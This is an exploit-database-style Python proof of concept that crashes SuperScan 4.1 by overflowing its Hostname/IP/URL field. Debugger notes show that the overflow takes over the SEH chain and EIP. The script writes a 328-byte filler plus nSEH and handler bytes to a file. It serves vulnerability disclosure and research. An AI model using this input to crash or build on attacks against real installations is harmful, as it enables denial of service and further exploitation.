#!/usr/bin/env python # -*- coding: utf-8 -*- # Exploit Title     : SuperScan 4.1 Windows Enumeration Hostname/IP/URL Field SEH Overflow Crash PoC # Discovery by      : Luis Martínez # Email : l4m5@hotmail.com # Discovery Date    : 18/11/2015 # Vendor Homepage   : http://www.foundstone.com # Software Link     : http://www.mcafee.com/us/downloads/free-tools/superscan.aspx # Tested Version    : 4.1 # Vulnerability Type    : Denial of Service (DoS) Local # Tested on OS      : Windows XP Professional SP3 x86 es # Steps to Produce the Crash: # 1.- Run python code : python super_scan_4.1_windows_enumeration.py # 2.- Open super_scan_4.1_windows_enumeration.txt and copy content to clipboard # 3.- Open SuperScan4.1.exe # 4.- Paste Clipboard Windows Enumeration > Hostname/IP/URL # 5.- Clic on button -> Enumerate # 6.- Crashed ########################################################################################## # -----------------------------------NOTES----------------------------------------------# ########################################################################################## # After the execution of POC, the SEH chain looks like this: # 00E3FF98 43434343 # 42424242 *** CORRUPT ENTRY *** # And the Stack #00E3FF88 41414141 AAAA #00E3FF8C 41414141 AAAA #00E3FF90 41414141 AAAA #00E3FF94 41414141 AAAA #00E3FF98 42424242 BBBB Pointer to next SEH record #00E3FF9C 43434343 CCCC SE handler # And the Registers #EAX 00000001 #ECX 00000001 #EDX 7C91E514 ntdll.KiFastSystemCallRet #EBX 00A028E8 #ESP 00E3FF58 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC" #EBP 41414141 #ESI 00473774 SuperSca.00473774 #EDI 00000000 #EIP 41414141 buffer = "\x41" * 328 nseh = "\x42" * 4 seh = "\x43" * 4 f = open ("super_scan_4.1_windows_enumeration.txt", "w") f.write(buffer + nseh + seh) f.close()